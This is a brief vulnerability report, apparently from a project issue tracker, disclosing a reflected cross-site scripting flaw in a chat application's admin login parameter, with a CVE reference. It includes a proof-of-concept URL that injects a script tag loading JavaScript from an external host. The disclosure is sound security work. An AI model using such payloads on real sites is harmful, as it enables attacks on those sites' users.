#48 XSS-vulnerability base/admin/login.php?arsc_message=

[Henri Salo]

Your application contains lot of input validation bugs, which lead to XSS-vulnerabilities. One example:

http://www.reallysimplechat.org/chat/base/admin/login.php?arsc_message=<SCRIPT SRC=http://example.org/xss.js></SCRIPT>

Could you go trough your application and add proper validation to the code, thank you!

[Henri Salo]

CVE-identifiers requested: http://www.openwall.com/lists/oss-security/2011/06/02/1

[Henri Salo]

CVE-2011-2470 is assigned to arsc_message parameter vulnerability.